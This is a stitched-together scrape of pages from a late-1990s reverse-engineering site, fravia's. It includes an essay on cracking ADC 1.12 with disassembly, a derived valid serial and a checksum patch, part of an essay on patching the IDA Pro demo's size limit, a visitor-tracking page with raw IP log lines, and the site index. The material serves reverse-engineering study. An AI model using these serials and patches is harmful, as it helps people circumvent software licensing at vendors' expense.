ferrugineuses des Ardennes flamandes. Mousse superbe de blancheur.
Well, Aesculapius show us a whole new direction and cracks a couple of useful tools without even noticing it much... what
should I say? An outstanding essay from an outstanding +cracker!
There was a time when CPU's were turtles and hard drives smaller than
your RAM capacity is today. Considering this panorama, it's understandable
why assembly coding was so necessary to enhance applications performance;
things have changed though, hardware does not limit today's programmers and it's
possible and desirable to use a more sophisticated high level programming
language instead of pure assembly. These facts have obvious consequences:
most programs include unnecessary instructions and such thing could represent
an open door for a very well shielded protection scheme. We'll deal in this
essay with debugging and patching unfriendly application.
ADC 1.12 code is very sensitive to patching procedures.
Slight changes, for instance JNE to JE, will hang the whole thing, or simply,
although logic suggests that some change should crack the scheme, you can hold
your breath and count to one thousand because nothing will happen.
This is especially true if the changes are carried out in code locations "close"
to the protection scheme.
The main validation code resides in a *.DLL file named VALIDATE.DLL; to
produce a more robust anti-crackers strategy, there's a checksum in the main
executable (ADC.EXE) to validate the integrity of VALIDATE.DLL (one
validation over another, interesting!). The scheme code itself inside
VALIDATE.DLL will be executed many times. As you can see, paranoia in
it's maximum expression!
:004061A6 8D85CCFEFFFF lea eax, dword ptr [ebp+FECC]; Moves to EAX the
memory offset
where the password
you typed is
located
:004061AC 8D8DCCFDFFFF lea ecx, dword ptr [ebp+FDCC]; Moves to ECX the
memory offset
where the valid
password is located
Now, in regard to the subject of this essay, ADC 1.12 can be located
at http://www.ecsc.mipt.ru/Elcom/, 1.21 MB, dated June 25 1997.
To begin this session, load the file VALIDATE.DLL in wdsm85, hit the
search button looking for: "thank you for registering". We land here:
|
:1C001257 684C60001C push 1C00604C
* Possible StringData Ref from Data Obj ->"Thank you for registering!"
|
:1C0012E6 687860001C push 1C006078
The validation sequence begins at :1C00128C. Lets search for the code
where this CALL points to: Hit the search button at wdsm85 (or text
editor) looking for :1C0018D8. We land here:
However, we want to go for the gold, lets calculate the valid serial
number: we know that the validation code is calculated according to the
following equation: (first digit - eighth digit) * (second digit -
seventh digit)= 1Eh = 30 Decimal. The high order bits of EAX should be
"0" because this value will be stored in EDX and finally EDX is
subtracted from EAX.
This attempt will pass the first validation test and leads the
execution to the following piece of code:
The equation looks like this: (third digit - sixth digit) * (fourth
digit - fifth digit) = 06h = 6 Decimal.
Now try to register ADC 1.12 with the Serial Number: 88552323 and
it works!
Once we've cracked the file validate.dll with our favorite hex
editor, everything seems to be fine, but when we double click on the main
executable (ADC.EXE), another window pops up!!! VALIDATE.DLL missing or
invalid. No!!!, there's a checksum to verify the integrity of the .dll file,
Damn!!!
We're sitting in our workbench once again. If you try to execute
ADC.EXE with WXI in memory, it'll inform you that the checksum resides in
the main executable (ADC.EXE) itself. So lets disassemble this file with
wdsm85 and hit the search button looking for this sequence: "VALIDATE.DLL is
missing or invalid". We land here:
:0040931C 8B15E8154800 mov edx, dword ptr [004815E8]; Moves the valid
checksum of the
original file
validate.dll to
[4815E8]
:00409322 3BC2 cmp eax, edx ; Compares both values
:00409324 0F8576000000 jne 004093A0 ; Jumps if the .dll
; file is invalid
; to 4093A0
EAX: F4E9C8A1
EDX: F4E9C8A9
The difference resides in the last digit; you also know that EAX
value is stored backwards at [48F7FC], this means that A1 will be
stored at the first byte of that memory location. All we have to do
to crack this mess is search for a redundant instruction to change the byte
at [48F7FC] from A1h to A9h. Searching backwards in the code we find the
perfect instruction (mov byte ptr) at :40926E. To be sure that it is in fact
redundant, set a breakpoint at CS:40926E and when WINICE pops up, execute:
d [48F348]. Just what I thought, this byte is already zero before the
instruction stores 00 at it, therefore, it's redundant and not necessary.
to
Aesculapius - July 97
Email: aesculapius@cyberjunkie.com
HomePage: http://aesculapius.home.ml.org
You are deep inside fravia's page of reverse engineering, choose your way out:
Statistical machinations
This page's main aim is to show you what I do know about you, I mean, about the people visiting the servers where I'm hosted. All this stuff is obvious for those among us that use own-made or
ready-made trackers, pretty amazing for those among us (like I myself was some years ago) that don't know all the following possibilities. As you'll see, you better travel anonimously... else you
are a sitting duck.
Strange as it may seem to people not already knowing all this (and unfortunately many do not), I know (with some interesting exceptions) who you are, from which site you come from, how long
you have been there, which urls on my site you are interested in, where and what and through which specific URLs of mine you are moving. Looking at my stats I may decide to track your IP, or
to track all those accessing a specific URL (this is the way I found out which people, and from where, have accessed my advanced stego page, btw). I could then block your specific IP from
accessing all my site, or a part of it (I have never done it) or I may just choose to have a close 'watch' set on your IP, just in order to see what the cuckoo you are doing in my site, or where you are
going when you leave it (amazing how many people have started searching Altavista for Lempicka after having had a look at my stego.htm page :-)
Of course, as you'll learn elsewhere on my site, anybody nowadays has at least half a dozen different IPs, yet the lure is always the same and works as in the old trap: people interested in specific
matters will try to access them in a hurry, no-matter the risk!
As you'll see below, our tracking systems grow and develop quite a lot. I have divided the 'findings' in phases (chronologically) and you'll see how much I knew about you a couple of years ago,
how much I knew last year and how much I know now (much too much... I'm wasting a lot of time looking at my stats! :-(
As you can see, there is an improvement... yet that's NOTHING: see below how scary are the tracking system I use now:
Now have a look at the instructions for tracking guests (this will scare you to death, I know, yet get acquainted with it... any server and any stupid server administrator can use this kind of
facilities, my little wrstchen):
Watches
Watches perform two functions.
1) Watches are used to track how often a particular URL, CGI gateway or
resource on the Web Server is accessed. The IP Address of every user who
accesses the resource is logged.
Watches are viewed and managed using the following two options.
Watch
Results
A list of all configured Watches is displayed, showing how many
times they have been Hit as well as the number of days since they
were initiated. Details for any watch can be viewed by clicking
the Magnifying Glass adjacent to it.
Watch
Admin
The Watch Admin option is used to administrate Watches. It is used
Refresh Button
The Refresh button forces a new Watches page to be generated. The
report will be updated, accurate up to the moment the page is
generated.
Printing Reports
1) Select the Print button located at the top of the Watches page.
This will generate a new Web page formatted for printing without
buttons or page controls.
2) Use your Web Browser Print command to send the print job to your
printer.
3) Use your Web Browser Back button to exit the printable Web page.
Watch Results
All Watches are accessible by selecting the Watch Listing option.
Magnifying
Glass
A detailed log for any watch can be viewed by clicking the Magnifying
Glass adjacent to it. A Watch History Web Page is generated displaying
the log file.
1) Select the Print button located at the top of the Watch History page.
This will generate a new Web page formatted for printing without
buttons or page controls.
2) Use your Web Browser Print command to send the print job to your
printer.
3) Use your Web Browser Back button to exit the printable Web page.
Watch Name
The Watch Name assigned to the Watch when it was created using the
Watch Admin option. The URL or IP Address being watched is displayed
below the Watch Name.
Hits
The number of times the Watch has been triggered. In the case of a
URL Watch, this means the URL being watched has been Hit. In the case
of an IP Watch, this means the Web Site has been visited (Hit).
Days
The number of Days since the Watch was created.
Watch Admin
The Watch Admin option is used to administrate Watches. It is used to Create,
Note: On many Web Sites this tab is only available to Administrators and is
protected accordingly using NT Security. If you are unable to view the Watch
Administration interface, this is likely the reason.
New
Watch
Select the New button to create a new Watch.
1) Type Select URL Watch or IP Watch from the select box. URL Watches
are used to track a particular URL, CGI gateway or resource on a
Virtual Server. IP Watches are used to watch any user IP address or
range of IP addresses that visit the Web Site.
You can easily understand how a combination of the two watches decsribed above has easily allowed me to find out some time ago who where some undesiderable "IMF" visitors, where they
roamed and where from and where to they came and left :-)
2) Title The descriptive name you define for the watch.
3) Watch For The full URL or IP Address to watch.
To watch a single IP Address a fully defined IP address such as
199.71.150.60 is required. To watch a Range of IP Addresses a
partially defined IP address such as 199.71.150.* is required.
In this example any hosts in the 199.71.150 network would be
included in the watch.
5) Use the Submit Watch button to submit the completed Watch. Use the Back
button to exit without submitting the Watch.
Edit
Watch
Use the Edit button adjacent to the Watch Name to make changes to an
existing Watch.
Delete
Watch
Use the Delete button adjacent to the Watch Name to completely remove a
Watch including the log file for the Watch.
Empty
Watch
Use the Empty button adjacent to the Watch Name to empty (delete) the
contents of the Watch Log.
Amazing, isn't it? Now take a minute and think about this kind of Web-tracking: if I can trace you so easily... imagine what people without money and time constraints like Microsoft &
Compu$erve, and the search engines you access, and all the other snooping censors can manage to gather...
137.222.103.136, -, 6/3/99, 9:10:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/xoa_126.htm, -,
137.222.103.136, -, 6/3/99, 9:10:06, W3SVC1, FRAVIA, 129.105.116.5, 10, 141, 233, 200, 0, HEAD,
/fravia/ruler.zip, -,
137.222.103.136, -, 6/3/99, 9:10:06, W3SVC1, FRAVIA, 129.105.116.5, 95337, 143, 21531, 200, 0, GET,
/fravia/project3.htm, -,
137.222.103.136, -, 6/3/99, 9:10:12, W3SVC1, FRAVIA, 129.105.116.5, 7411, 142, 18838, 200, 0, GET,
/fravia/xoa_126.htm, -,
137.222.103.136, -, 6/3/99, 9:10:14, W3SVC1, FRAVIA, 129.105.116.5, 4016, 140, 26402, 200, 0, GET,
/fravia/ruler.zip, -,
137.222.103.136, -, 6/3/99, 9:10:14, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 233, 200, 0, HEAD,
/fravia/peek11.zip, -,
202.139.227.211, -, 6/3/99, 9:10:15, W3SVC1, FRAVIA, 129.105.116.5, 1032, 528, 3774, 200, 0, GET,
/fravia/coriolan.htm, -,
137.222.103.136, -, 6/3/99, 9:10:24, W3SVC1, FRAVIA, 129.105.116.5, 56301, 143, 34670, 200, 0, GET,
/fravia/snippets.htm, -,
137.222.103.136, -, 6/3/99, 9:10:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 233, 200, 0, HEAD,
/fravia/stepdos.zip, -,
202.139.227.211, -, 6/3/99, 9:10:27, W3SVC1, FRAVIA, 129.105.116.5, 1061, 527, 31150, 200, 0, GET,
/fravia/special.htm, -,
212.20.134.8, -, 6/3/99, 9:10:32, W3SVC1, FRAVIA, 129.105.116.5, 338607, 471, 27380, 200, 0, GET,
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere
Software
reverse
engineering and
web survival
arguments
Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy
~
F reverse How to search the
web: combing, klebing
and other strategies
R engineering ~
cookies removal; bots
and web-spiders
A frozen
October
1999
Version
trapping;
anti-Micro$oft and
anti-Netscape scripts
and tricks; tools for
V December
1999 software reverse
engineering;
cgi-cracking; user
I self-defense; corporate
survival counter
measures; home-pages
On the Web
since 1995!
If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding
cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+
__Disclaimer of liability__
I do disclaim thee, Oh Liability!
All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)
Special disclaimer
About the part of my site dealing with reversing protection schemes
Please note that I have always been a very sensible person: if any programmer with a legitimate interest
really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.
I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)
I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!
This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.
Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.
[A], [B], [C], [D], [E], [F], [G], [H], [I], [J], [K], [L], [M], [N], [O],
[P], [Q], [R], [S], [T], [U], [V], [W], [X], [Y], [Z]
Alphabe!
Updated in September 1999
A
Academy database ~ Advanced reversing ~ Advanced searching ~ Andrew Schulman's own ~
Aanonymity matters ~ Anonymous e-mailing ~ Anti-advertisement Lab ~ Antismut CGI wars ~
Antispam ~ Assembly language ~ Astonishing stories ~ Awards ~
B
Blackboard ~ Biography ~ Bots' wars ~
C
CD-Rom reversing ~ Censorship ~ Chown ~ Cocktails ~ Combing ~ Cookies ~ Counter intelligence ~
Counter measures ~ Corporate survival ~ Cracking for dummies ~ Crippled targets ~ Crossing over ~
D
Delphi reverse engineering ~ Dongles cracking ~
E
http://www.instinct.org/fravia/alphabe.htm (1 of 5) [2/7/2001 3:06:31 PM]
alphabe.htm: Fravia's messy site index
F
FAQ ~ Free email services ~ Free pages providers ~
G
Gods (of reversing) ~
H
+HCU Millennium strainer ~ +HCU 1999 courses ~ Help me, you may ~ Hexeditors ~ Hhistory of this
site ~ Homepage ~ How to search ~ How to use our own tools ~
I
If you are new ~ Installing softice ~
J
Java section ~ Javascript ~
K
Keyboard identification ~
L
Legal: is software reverse engineering legal? ~ Luring and social engineering tricks ~ Links ~
M
Messageboard (main) ~ Messageboard (TOT) ~ Microsoft bashing ~ Millennium strainer ~
N
Netscape, ameliorating ~ Numega's own ~
O
Off line debugging ~ Our own protections ~ Our own tools ~ +Orc ~
P
Papers (+HCU) ~ Packers and unpackers ~ Private links ~ Programming languages ~ Protect better, how
to ~ Protections, most stupid ~ Protectionist' corner ~ Protections, our own ~
Q
Quiver protections ~
R
Reality cracking lab ~ Removing banners ~ Reversing gods ~ Reversing information ~ Reversing
language patterns ~ Reversing protection schemes ~
S
Screaming truths ~ Search forms (heavy) ~ Search forms (light) ~ Search, how to ~ Search engines
vagaries ~ Software protection lab ~ Source checking ~ Simple stalking tools ~ Stalking lab ~ Stalking
matters ~ Stalking techniques (per email) ~ Steganography ~ Strainer (1998) ~ Strainer (1999
"Millennium") ~ Strainer (1998 solutions) ~ Strainer (1999 solutions) ~ Students' essays ~ Stupid
protections ~
T
Text cracking ~ Things that happen ~ Tools ~ Tools, useful ~ Tools, how to use our own ~ Tools, our
own ~ Tutorials by +ORC ~ Tweak your browser! ~
U
Unassigned essays ~ Useful tools ~
V
Visual basic cracking ~
W
What Fravia knows about you ~ What's new at fravia's
X
Xmas 1998 ~
Y
Z
Zip and rar reversing ~
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere
Advanced Cracking
Updated October 1999
A very important attempt to systematise our essays! I hope you'll all work a little
on this!
+HCU's taxonomy - Advanced Cracking - started in October 1997
Please note that MANY essays that have been already published (I mean, before this section started)
would indeed have deserved to be listed here. I still don't know if I'll have the time to do it, I hope so.
Anyway: any reader can email me a COMPLETE LIST pointing out which ones (among the hundreds of
essays published until now) deserve in his (humble :-) opinion to be listed here. Hope he has really read
them before opening his mouth, hope he understands what we are talking about (not all do, in fact). We'll
see.
Here you have THE BEST (recent) essays IMHO.
PHASE 1 by Quine:
Cracking THE tool of the trade (bye bye Wdasm), 19 October 1997
(Interactive Disassembler Pro v3.7)
Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of
this beautiful essay by Quine, which shines methodologically and has a relevance that encompasses
almost all fields of our trade. There are things inside here, like patching pointers and Boundchecker
API-intercepting, which clearly are NOT FOR NEWBYES, and the whole essay is GOLD worth for all
serious reverse engineers. This essay has been added to the +HCU didactic material (pending Quine's
authorisation) and will from now on be distributed to all +HCUkers that begin the courses together with
the other main files.
I'm proud and happy to host such a well written and interesting essay, I like VERY MUCH the approach
that Quine utilises, and hope that he will be so kind to send us MANY MORE essays.
Enjoy!
You may find interesting to read ZeeZee's comments to Quine's PHASE 1
PHASE 2 by Frog's Print:
Well, back to DOS! Was about time! Contrarly to what some still choose to believe, dos reversing is far
from being an obsolete activity: many very important programs are working under DOS, because
Windoze simply does not give enough power, and as +ORC told us long ago in his tut, many of the older
DOS protections are much more tougher and interesting than the banal cmp eax, 1 tricks inside
"compiled" windoze targets...
There is another very nice lesson teached here by Frog's Pint: let's not be lazy! Almost anyone uses a
"ready cracked" (read "stolen") Sourcer 7 version which comes with a pirated serial number inside it: the
whole Web is polluted with all pirated versions of this important tool, and noone seems to care about the
only thing that is really fascinating in our opinion: how to reverse this reverser program 'par excellence'.
And Frog's Print does exactly this, and he writes:
As we are crackers, let's throw away this serial number and crack Sourcer 7.0
Right! And if you add to these 'strategic' thoughts the whole cursor bpinting, you'll agree with me that
this essay deserves to be posistioned among the prestigious "Advanced cracking series". Enjoy!
PHASE 3 by Quine:
Well, this is SERIOUS ADVANCED CRACKING once more. Once more a fundamental tool of the
trade (IDA). Once more a function reenabling work (the loading of the previous databases, i.e. one of the
most important crippled functions of the crippled version: you do not want to start everything anew every
time you use IDA, do you?). Once more something we all need: new knowledge that you can at once
apply to other targets and reverse engineering endeavours.
Quine is getting us used to this kind of well-crafted essays. I'm afraid newbyes will not understand much
here, please read the 'basic' essays first, and peruse the other +HCU page (where you'll find a lot of help
for newbyes) before delving in this.
This said, here you have a real reverse engineering essay in all its glory... enjoy!
PHASE 4 by chown:
Well, a VERY interesting Unix-school essay, that I'm happy to host on my site. Object oriented cracking!
A very nice definition indeed! I have included this essay in the advanced section because I believe it well
deserves a place there. You'll notice that there is a lot to learn for any reverser inside this... even if this
(good) author seems to be only at his 'first steps' in windows programming... yet, this notwithstanding,
this is NOT for newbyes. Newbyes should pheraphs have first a look at +gthorne's OTHER +HCU page
first.
I find the part where chown describes is first programming experiences with windows programming
particularly amusing... in fact I believe that any good cracker can indeed often program better than a 'real'
programmer because he can CRACK the compiler into doing whatever he fancies if needs be! Enjoy!
PHASE 5 by NaTzGUL:
Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read and
enjoy!
PHASE 6 by +ReZiDeNt:
This essay describes an interesting "parameter interception" method: As +ReZiDeNt writes: "So we can
simply locate these pushes and 'hardwire' our own dates into the push instructions instead"... yet so
simple all this was not... a good reason to insert this essay among our "advanced cracking series"
selection! Enjoy!
PHASE 7 by Uncle Van:
you'll find a lot more inside this VERY GOOD essay by Uncle Van: self-correcting, real code hiding,
how to adjust the PE header, Uncle Van's 'precracking', bypassing the WriteProcessMemory and a lot of
other goodies... you'll have a couple of days work just to understand what Uncle Van is explaining you...
and that's the nice part of our trade! To learn! Enjoy!
PHASE 8 by Hackmore Readrite:
An incredibly clever and 'sturdy' reversing of a difficult and intelligent protection. I don't use this kind of
programs, and I hate people that throw me advertisement rubbish without asking, yet after having seen
this, I admit that I respect the programmer that devised this protection, he deserves recognition! As sign
of respect we will never again reverse (publicly) his future protection schemes (yet we'll seek and await
them eagerly for our private cracking sessions: they are delicious!), I anyway wont publish any more on
my sites any essay about Ferret's clever protection schemes, this one is the first and the last, yet what for
an essay! Read, head and enjoy this BEAUTIFUL essay by Hackmore. My congratulations, Hackmore,
Good work! I love your style: not much code and a lot of explanations! And your image of the
FFFFFFF8 Monster lying in ambush is really great!
PHASE 9 by Quine:
I'm not going to comment this essay: Quine is a Master Cracker, and this essay is not even advanced, it's
expert. I have not only learned a lot myself (this I do every time I get a good essay from all +friends) but
I have learned things I did not ever suppose!
For sure I understand now the curiosity that +ORC himself has repeatedly manifested for Quine (after
having read Quine's first essay on IDA +he ordered me to pass +him at once all emails from Quine).
This is definitely NOT FOR BEGINNERS! You better leave this alone if you're not an advanced cracker
yourself (or a very 'steady' beginner cracker, prepared to invest A LOT of time and fatigue on your own
advancing)... anyway, whoever you are... you better read (and follow) this essay MORE than a couple of
times, believe me it is worth any minute you'll invest on it: you'll gain a WEALTH of incredible
information!
My respects and unconditional admiration to +Quine!
PHASE A by Quine:
This present essay by Quine is -once more- the kind of work anyone is expecting from us: ameliorating
and exstending the functionalities of our targets... just reversing protected proggies is getting dull, if we
don't add anything.
Life is development, and development is progress (based on history and sound knowledge of the past...
else it would be frills instead of progress :-) and progress is building for free on each others shoulders,
out of the commercial dead ends where "they" want to push us.
You'll find here an ADDITION to the already incredible IDA disassembler (and if you are still just
cracking with wdasm -believe me- you don't know what you are loosing) addition that will work
immediatly if you have IDA's 'Quined' version, will require some fumbling if you -instead- have stolen
the full regged one from the Web. Which suites us, since we want you to reverse engineer targets, not to
steal them... man, it should be obvious!
PHASE B by Frog's Print:
Dongle Bashing: end of the dongle old aera ~ Dongles bye bye, 29 January 1998
(How a single +HCU reverser can easily blow a whole commercial sector out of history)
Awesome essay. Frog's Print's incredible work should be printed and sipped slowly, it's 'cracking for
conoisseurs', fravia's vintage 1998 "grand reserve"!
Bye bye to all the idiots that wanted to do quick bucks selling hardware protections that were NOT
protections at all. This is good, nobody will mourn the disappearing of smoke-sellers and bogus
protectors. Bye bye to all those that never studied assembly. This is good. Bye bye to all the creations of
the poor programmers that blindly trusted commercial (and THEREFORE bogus) dongle protections to
defend their valuable software instead of writing their own much more solide protections. Tsch Tsch.
You had better read +ORC's students essays first next time. And learn. And now don't come to the idea to
blame Frog's Print... blame those dilettante that have sold you smoke
PHASE C by NaTzGUL:
Well, NaTzGUL is a GREAT cracker, as anybody that has read is previous essay: InstallSHIELD Script
Cracking, from 22 November 1997, can testify. He now 'deepens' his previous essay and with this tutorial
shows us the 'guts' of Installshield protection... it's a great and beautiful reversing reading!
PHASE D by NaTzGUL:
NaTzGUL: a great cracker (as Quine pointed out long ago). This essay-tutorial is a valuable contribution
to the "Our tools" section, since what you'll learn here will be of paramount importance when working in
the 'guts' of this awful operating system the world is compelled to live with. Yes, dear reader, you'll
slowly learn how to program (in the most REAL sense of the word) in windows... in order to bend this
overbloated operating system to your twisted purposes :-) Enjoy! It's fundamental 'required' reading...
read it twice (at least) and then work on this... you'll be a much more powerful wizard when you are
finished with this...
(May be a little less help files next time, NaTzGUL? :-)
PHASE E by -bajunny:
Well, whoever -bajunny, this great reverser is, here you have a funny, well written, astonishing, great
anti-hasp tutorial... when I receive this kind of good contributions I "feel" the might of Internet... we are
nothing alone, but once we send a snowball rolling downhill... neither Bill himself nor all King's horses
will ever be able to stop it! :-) Yes, dear -bajunny, by all means! Send your next essays! Send whatever
your cleverness will put together for us...
I have NOT edited your work, because it's a great reading as it is... your text is humorous, interesting and
refreshing... I even left your somewhat 'private' post header on the essay, because of the (very sound)
Lanaki's tip... avec espoir et sans regret, dear -bayunny, I have always thought (especially after having
PHASE 11
SiuL+Hacky's Linux GUIs. The Chances. (Advanced Linux cracking)
by SiuL+Hacky
01 March 1998
Well, an amazing essay by SiuL+Hacky, who seems to be the mightiest Linux wizard reverser of this
planet (if others are there, I have never noticed their signs of life on the Web)
Enjoy this great essay, that carries FUNDAMENTAL teachings for linux reversers (of course) but also
for anyone of +us!
PHASE 12
madmax!'s Cracking using KERNEL32.DLL (Amazing how things dont change!)
by madmax!
04 March 1998
Tsch tsch, madmax! Playing with kernel!
And THAT is exactly what makes the difference between master crackers and beginners!
What does a real reverser do? He reverses, of course :-)
Now, see, we have this windows overbloated world we must all swim inside... huge, heavy, slow
applicationosauriers, stupidly chewing routines on the code planes... and look! The great reverser hunters
come! Approaching swift, from beneath the codetrees! Man, that's an unfair match for the dick
overbloated windoze protectors!
The reversers are CLEVER! They use TOOLS! They use dos and unix knowledge, and sharp assembly
knives... and so the stupid, almost brainless applicationosurus lays dead... reversed in a pool of bloody
code... have a good meal! burp!
PHASE 13 by -bajunny:
Another great contribution by bajunny. Hasp misteries and vagaries are tackled and resolved. A must
reading for all dongle interested researchers!
PHASE 14 by Stone:
A very good essay by Stone, a great cracker and one of the few fine reversers around that produces his
own VERY GOOD TOOLS.
This essay has a very high theoretical value and should IMO be read by ALL reversers: you'll find inside
it matters like "how it's possible to introduce breakpoints in an automated debugger", "making the target
load a DLL for me"... and other marvels. Stone intends to update this work in fieri, therefore your
contributions on all these matters are welcomed. Enjoy! (Beginners shouldn't touch this stuff IMO)
PHASE 15 by anormal/kindergarten
A short essay about usign a new type of protections: design your own cpu, 27 April 1998
PHASE 16 by Marigold
by Quine
(19 October 1997)
Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of this beautiful essay by
Quine, which shines methodologically and has a relevance that encompasses almost all fields of our trade. There are things
inside here, like patching pointers and Boundchecker API-intercepting, wich clearly are NOT FOR NEWBYES, and the whole
essay is GOLD worth for all serious reverse engineers. This essay has been added to the +HCU didactic material (pending
Quine's authorization) and will from now on be distributed to all +HCUkers that begin the courses together with the other
main files.
I'm proud and happy to host such a well written and interesting essay, I like VERY MUCH the approach that Quine utilizes,
and hope that he will be so kind to send us MANY MORE essays.
Enjoy!
Source:
http://www.datarescue.com/ida.htm (homepage)
http://www.datarescue.com/ida/demo37.zip (9,884,100 bytes)
Tools used:
IDA Pro is by far the best disassembler available for PCs (and
probably for any platform). It is ultimately, I think, much, much
better than W32dasm. Why? To begin with, IDA Pro disassembles
properly. (1) It starts disassembling at the program entry point and
then follows every possible execution route from there. Having done
that, it then looks for functions which are not directly accessible
from the main program flow (e.g., window procedures, thread
procedures, and other callback functions of various sorts). This
method of disassembly enables to perform much greater levels of
analysis of the target program. For example, the beginning and ending
of functions are identified and properly marked. Passed arguments and
local variables (both referenced off the stack) are identified and
marked. Switch statements are identified and the case values are
determined (W32dasm does this to a very limited extent). Furthermore,
you have complete decision over what it marks as code and what it marks
as data. This allows it to disassemble code "hidden" or located in
the data section, which happens more often than you might think,
because W32dasm can't disassemble it.
Also, a trick I saw in a dongle driver (ssidppd.drv
from the program WiT) complete flusters disassemblers like w32dasm,
which disassemble blindly straight through the code segment. Here's
the trick:
ANTI-WDASM trick
mov eax, edx
jmp loc_1
db 0F
loc_1: inc eax
jmp loc_2
db 85
loc_2: call sub_1
... and so on
w32dasm produces garbage for this code, but IDA Pro does it right
because it's following the path of execution. (2) IDA can recognize
an amazing range of library functions within a target's body. This
greatly reduces the amount of code to plow through when trying to get
an understanding of the target. It also, of course, provides a wealth
of clues about what a program is doing at any particular place. (3)
IDA also has a fairly robust macro language which enables high levels
of customization. (4) It can disassemble damn near anything: all
pc-based binary formats (all exe formats, lib files, obj files, etc.),
code for almost any microprocessor (several of which I've never heard
of), Java classes --- that's right full blown interactive Java
disassembly, which, as fravia+ says, is the future of cracking! (5)
Names, labels, etc. can be changed on the fly so that you can
gradually accumulate and save more and more information about the
Limitation
(1) will prove, as you might have expected, to be trivial to crack.
(3) would be very nice to crack, but perhaps long and hard if the
loading code is simply not present in the demo (I think, however,
that it is).
There are two big problems this limitation (3) creates:
(a) IDA's power comes at a price---it's slow, so it would be nice
not to have to have it redisassemble with every session.
(b) Any comments or name changes, etc. will not be accessible after
you quit a session.
Problem (b), fortunately, is avoidable, because the demo will let you
create a macro file (a file with an idc extension) that records all
of your changes which can be reloaded and run for future sessions.
the whole program (witness the Java module. One would think Java
disassembly is so different from x86 disassembly that the two could
not happily co-exist in one environment). ida is responsible for
loading the file and for all subsequent file i/o along with a lot of
other things, so let's start by loading ida.wll into w32dasm (I spoke
harshly of w32dasm above and that was unfair. I do have a fondness
for it---however, now that I have a useable IDA Pro, I will never go
back to it :-).
The first thing to do is find the place where IDA decides that a file
bigger 64k is too big. Our first bet might be to look for the text of
the message that pops up when you try to open a file that is too big:
"The demo version..." Unfortunately it is not in the list of strings
w32dasm provides for ida.wll. So, I used UltraEdit32 to do a file
search through the entire idademo directory for the string in
question. It turns out to be in a file called ida.hlp (which is not a
Windows help file, but is in a proprietary format).
Looking at ida.hlp with a hex editor (it's not strictly an ASCII file)
we see that the strings are zero-terminated and appear to be prefixed
with a word which gives their length. Also, at the beginning of the
file is a long series of dwords that appear to be offsets into the
file. You guessed it, the dwords point to the length/string pairs.
This is undoubtedly how the program gets at the strings. There are D
(i.e., 13 (decimal)) bytes at the beginning of the file before the
dword list begins. So, the index to a particular string can be
calculated in the following way:
1. find the string in ida.hlp and record the offset where the length
word starts
2. look up the offset in the list of dwords at the beginning of the
file and record the offset of the dword.
3. Subtract D from the offset of the dword and divide the result by 4
4. What you end up with is the index ida uses to reference a string in
the help file.
The index for the file-too-big message is 556. Using w32dasm to
search for this value in ida.wll, we find the following code:
This looks too good to be true (don't worry - it is). It compares ebp
(which must contain the size of the file) with 10000 (i.e., 64k) and
jumps past the bad message if ebp is less than 64k. No problem.
Let's patch the program to force the jump, replacing 76 at 403CED with
EB (jmp) and see what happens.
Running the program, we find that it now lets us open files of any
size and it goes about disassembling them. The problem is that it
appears to be disassembling only a small part of the file (I'm using
ida.wll, by the way, as the large test file to disassemble). Fairly
quickly into the disassembly the message "Execution flows beyond
limits" repeatedly appears at the bottom of the screen and nothing
past (what appears to be) the 64k boundary is disassembled. In fact,
